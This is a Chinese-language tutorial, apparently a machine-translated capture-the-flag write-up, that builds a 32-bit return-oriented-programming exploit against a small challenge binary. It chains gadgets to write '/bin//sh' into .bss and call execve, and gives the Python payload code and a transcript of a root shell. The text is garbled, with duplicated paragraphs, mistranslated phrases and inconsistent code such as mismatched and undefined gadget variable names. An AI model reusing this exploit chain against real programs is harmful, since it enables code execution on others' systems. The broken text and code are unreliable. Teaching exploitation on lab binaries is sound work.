為了用sys_execve syscall執行/bin/sh,需要解決一些問題,依照參考,需要設定如下;
EAX = 11(或十六進位中的 0x0B) – execve 系統呼叫號
EBX = 字串「/bin/sh」在記憶體中的位址
ECX = 指向字串「/bin/sh」的指標的位址
EDX = Null(選擇性的)指向描述環境的結構的指標)
一旦所有這些都設定好,執行int 0x80指令應該會產生一個shell。
首先需要放置的是/bin/sh字串的位置,還需要一種方法將這個字串寫入這個選擇的位置,以及一個包含指向這個位置的指標的記憶體位址。值(這通常是有問題的),CBEAX、EBX和ECX寫入任意值。
有許多工具可以簡化尋找小工具和建立 ROP 鏈的過程,但暫時不考慮這些工具,而是自己的能力,以確保對整個過程有一個很好的理解。
雖然看起來二進位檔案相當小,但它包含了許多小工具,包括一個受關注的密集指令區域,看起來像是建構的。
例如,從 0x08048225 開始的指令是 pop %eax; ret,這個小工具取得堆疊頂端的大約4個位元組,將它們放入EAX暫存器,對堆疊指標加1,然後回到下一個位址。
還有gadget xor %edx,%edx; ret — 如果無法在漏洞中節省時間,這將非常方便,因為已經知道需要將 EDX 設定為0。 XORing 是自訂的常用方法。
接下來,就得到了一個真正強大的工具-在0x0804822F的小工具是mov %eax, (%edx); ret 將獲取EAX中的任何內容,把其複製到EDX中的位址所在的記憶體位置,因為可以將其與前面的小工具連結起來,以控制EAX和EDX的值,這就形成了write-what-哪裡原語。
最後,可以在0x8048210找到一個int 0x80; ret小工具
值得注意的是,這個記憶體位置中最不重要的位置包含一個空字節,如果需要,可以添加一個小的偏移量來避免這種情況,0x0804A004
還需要設定變數來保存可寫記憶體位址,要放裡面的字串,要放入64位元組中的填充,最後是要覆蓋EBP的垃圾值。但它有助於安排一切有條不守。
知道在利用法蘭克福中心控制了 68 位元組的 EIP,因此可以用 64 位元組 + 4 位元組架構的第一部分來覆蓋 EBP
執行pop EAX gadget時,ESP將指向下一個4位元組的字,即對應於ascii字串「/bin」的位元組。
這裡使用位址函數將位元組重新排序為小端序,因為兩者都是記憶體位址
。
字串需要以空結束,這裡讀取的記憶體被初始化為0,所以在這種情況下不需要擔心,但值得記住。
最後一個參數是需要放入EAX中的系統呼叫號碼。空格壞字符,或其他一些更靈敏的設定的方法。
好了,一個適用於簡單的瀑布流的 ROP 漏洞利用。
EAX = 11(或十六進位中的 0x0B) – execve 系統呼叫號
EBX = 字串「/bin/sh」在記憶體中的位址
ECX = 指向字串「/bin/sh」的指標的位址
EDX = Null(選擇性的)指向描述環境的結構的指標)
一旦所有這些都設定好,執行int 0x80指令應該會產生一個shell。
後面的工作
從想要完成的開始,一次性連結在一起解決問題,直到已經有了利用鏈,ROP利用的本質是解決一個問題經常引入另一個問題,所以它很重要,集中和邏輯,總是尋找不同的路線和替代解決方案。首先需要放置的是/bin/sh字串的位置,還需要一種方法將這個字串寫入這個選擇的位置,以及一個包含指向這個位置的指標的記憶體位址。值(這通常是有問題的),CBEAX、EBX和ECX寫入任意值。
小工具
可以使用gadget的二進制,gadget是一個有用的ret指令,ret指令是關鍵的,因為它允許鏈接多個gadget連接到一個鏈,然後執行流,從一個指令返回。工具都是鏈中的一環。有許多工具可以簡化尋找小工具和建立 ROP 鏈的過程,但暫時不考慮這些工具,而是自己的能力,以確保對整個過程有一個很好的理解。
雖然看起來二進位檔案相當小,但它包含了許多小工具,包括一個受關注的密集指令區域,看起來像是建構的。
例如,從 0x08048225 開始的指令是 pop %eax; ret,這個小工具取得堆疊頂端的大約4個位元組,將它們放入EAX暫存器,對堆疊指標加1,然後回到下一個位址。
1 | [0x08048225][<要放入 EAX 的值>][<下一個小工具>] ... |
還有gadget xor %edx,%edx; ret — 如果無法在漏洞中節省時間,這將非常方便,因為已經知道需要將 EDX 設定為0。 XORing 是自訂的常用方法。
接下來,就得到了一個真正強大的工具-在0x0804822F的小工具是mov %eax, (%edx); ret 將獲取EAX中的任何內容,把其複製到EDX中的位址所在的記憶體位置,因為可以將其與前面的小工具連結起來,以控制EAX和EDX的值,這就形成了write-what-哪裡原語。
最後,可以在0x8048210找到一個int 0x80; ret小工具
可寫記憶體
著手將想要執行的命令的字串寫入程式的記憶體中。1 2 | 4 .bss 0000001c 0804a000 0804a000 00001000 2**2 分配 |
值得注意的是,這個記憶體位置中最不重要的位置包含一個空字節,如果需要,可以添加一個小的偏移量來避免這種情況,0x0804A004
開發
這是大量的準備工作,現在可以開始編寫漏洞了。定義一個函數address()來進行小端位址轉換。1 2 3 4 5 6 7 8 9 10 | pop_eax = 0x08048225 pop_ebx = 0x08048227 pop_ecx = 0x08048229 pop_edx = 0x0804822B Zero_edx = 0x08048220 writewhere = 808080 def位址(資料):傳回struct.pack(“<L”,資料) |
還需要設定變數來保存可寫記憶體位址,要放裡面的字串,要放入64位元組中的填充,最後是要覆蓋EBP的垃圾值。但它有助於安排一切有條不守。
1 2 3 4 | writable_memory=0x0804a010 # .bss 部分可寫 padding = " " # 我們將使用空格作為填充 text = "A shell\n\n\n" # 風味文字 EBPoverwrite = "AAAA" # 覆蓋 EBP 的位元組 |
知道在利用法蘭克福中心控制了 68 位元組的 EIP,因此可以用 64 位元組 + 4 位元組架構的第一部分來覆蓋 EBP
1 2 | 緩衝區 = 文字 + 填入 * (64 - len(文字)) 緩衝區 += EBPoverwrite |
字串寫入1
利用陣列中接下來的 4 個位元組是設定 EIP 的第一個值,也是 ROP 鏈的開始。作為系統呼叫的參數1,第一步只需要將寫入的值寫入EAX。1 2 | buffer += address(pop_eax) # 將值放入 EAX 緩衝區 += "/bin" # 一次 4 個位元組 |
執行pop EAX gadget時,ESP將指向下一個4位元組的字,即對應於ascii字串「/bin」的位元組。
1 2 | buffer += address(pop_edx) # 將值放入 edx buffer += address(writable_memory) |
這裡使用位址函數將位元組重新排序為小端序,因為兩者都是記憶體位址
。
1 | 緩衝區+=位址(writewhatwhere) |
字串寫入2
現在這個過程,將字串的下一個4位元組寫入記憶體。入“//sh”需要更新EDX以添加+4偏移量,並更改EAX中的值。1 2 3 4 5 | 緩衝區 += 位址(pop_eax) 緩衝區 += "//sh" 緩衝區 += 位址(pop_edx) 緩衝區 += 位址(writable_memory + 4) 緩衝區 += 位址(writewhatwhere) |
字串需要以空結束,這裡讀取的記憶體被初始化為0,所以在這種情況下不需要擔心,但值得記住。
地址寫入
現在需要在記憶體中的字串,也需要在記憶體中寫入指向它的指標。 8 ,因為需要空結束字串,不能把遊標寫在它的旁邊,需要有一個小間隙。1 2 3 4 5 6 | # 將包含 /bin/sh 字串的位址寫入記憶體 buffer += address(pop_eax) buffer += address(writable_memory) buffer += address(pop_edx) buffer += address(writable_memory + 12) buffer += address(writewhatwhere ) |
零EDX
需要的第三個參數儲存在EDX中,應該是0x00000000。 ,可以,使用xor %edx, %edx 小工具,這是一種更通用的方法,因為0x00 經常是一個壞字符。時候將它歸零了。1 | 緩衝區 += 位址(zero_edx) |
已註冊
現在是系統呼叫準備 EBX 和 ECX 的時候了,這是很容易做到的,因為兩者都是記憶體位置;1 2 3 4 5 | buffer += address(pop_ebx) buffer += address(writable_memory) # 字串 /bin/sh 的位置buffer += address(pop_ecx) buffer += address(writable_memory + 12) # 指向 /bin/sh 的指標位址 |
最後一個參數是需要放入EAX中的系統呼叫號碼。空格壞字符,或其他一些更靈敏的設定的方法。
1 2 | 緩衝區 += 位址(pop_eax) 緩衝區 += struct.pack( "<I" , 0x0000000B) |
執行系統調用
現在該執行執行完成系統呼叫了。1 2 | 緩衝區+=位址(execute_syscall) 列印(緩衝區) |
運行利用
在測試中,可以看到shell按照預期創建,但是當主機程式關閉時,它會立即關閉。 cat保持輸入管道打開來解決;1 2 3 4 5 6 7 | root@kali:~ # pythonexploit.py > 漏洞利用 root@kali:~ # (catexploit;cat) | ./binary_challenge 告訴我你有什麼 :>你有:一個 shell AAAA%�/bin+ � id uid=0(root) gid=0(root) groups =0(root) |
好了,一個適用於簡單的瀑布流的 ROP 漏洞利用。